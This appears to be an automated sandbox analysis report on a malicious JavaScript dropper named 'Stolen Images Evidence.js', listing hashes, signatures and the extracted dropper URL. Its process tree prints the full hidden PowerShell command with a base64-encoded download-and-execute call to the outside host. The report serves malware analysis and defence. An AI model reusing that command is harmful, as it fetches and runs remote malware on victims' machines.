Analysis
- max time kernel
25s - max time network
135s - platform
windows10_x64 - resource
win10-en - submitted
07/09/2021, 23:36
Static task
static1
Behavioral task
behavioral1
Sample
Stolen Images Evidence.js
Resource
win7v20210408
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Stolen Images Evidence.js
Resource
win10-en
0 signatures
0 seconds
General
- Target Stolen Images Evidence.js
- Size 15KB
- Sample210907-3llfxagfbl
- SHA256 5a22e9bde5aaed03b323e5c933c473e9ba3831f4473790a3d4394baefe809d8a
- MD5 5bf4ed5ce595439901e66903dc907287
- SHA1 6b9ad0e4b30fa757ba70fae23f386e11134e23f4
- SHA512 6a1b65de3bfebe108de1a35d0b5ec22c89e80fde64c6aed473b331a2d8f146fb17a66d1dc800774001e6a9ec170475c43e3ee900db086013f3ed50e09ded18cc
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://mabiorex.space/333g100/index.php
Signatures
- Blocklisted process makes network request 1 IoCs
flow pid Process 8 1652 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
pid pid_target Process procid_target 3936 1652 WerFault.exe 76 - Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 1652 powershell.exe 1652 powershell.exe 1652 powershell.exe 3936 WerFault.exe 3936 WerFault.exe 3936 WerFault.exe 3936 WerFault.exe 3936 WerFault.exe 3936 WerFault.exe 3936 WerFault.exe 3936 WerFault.exe 3936 WerFault.exe 3936 WerFault.exe 3936 WerFault.exe 3936 WerFault.exe 3936 WerFault.exe 3936 WerFault.exe 3936 WerFault.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1652 powershell.exe Token: SeDebugPrivilege 3936 WerFault.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4008 wrote to memory of 1212 4008 wscript.exe 73 PID 4008 wrote to memory of 1212 4008 wscript.exe 73 PID 1212 wrote to memory of 1652 1212 cmd.exe 76 PID 1212 wrote to memory of 1652 1212 cmd.exe 76
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Stolen Images Evidence.js"1⤵
- Suspicious use of WriteProcessMemory
PID:4008 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBhAGIAaQBvAHIAZQB4AC4AcwBwAGEAYwBlAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=2⤵
- Suspicious use of WriteProcessMemory
PID:1212 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBhAGIAaQBvAHIAZQB4AC4AcwBwAGEAYwBlAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1652 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1652 -s 23084⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3936
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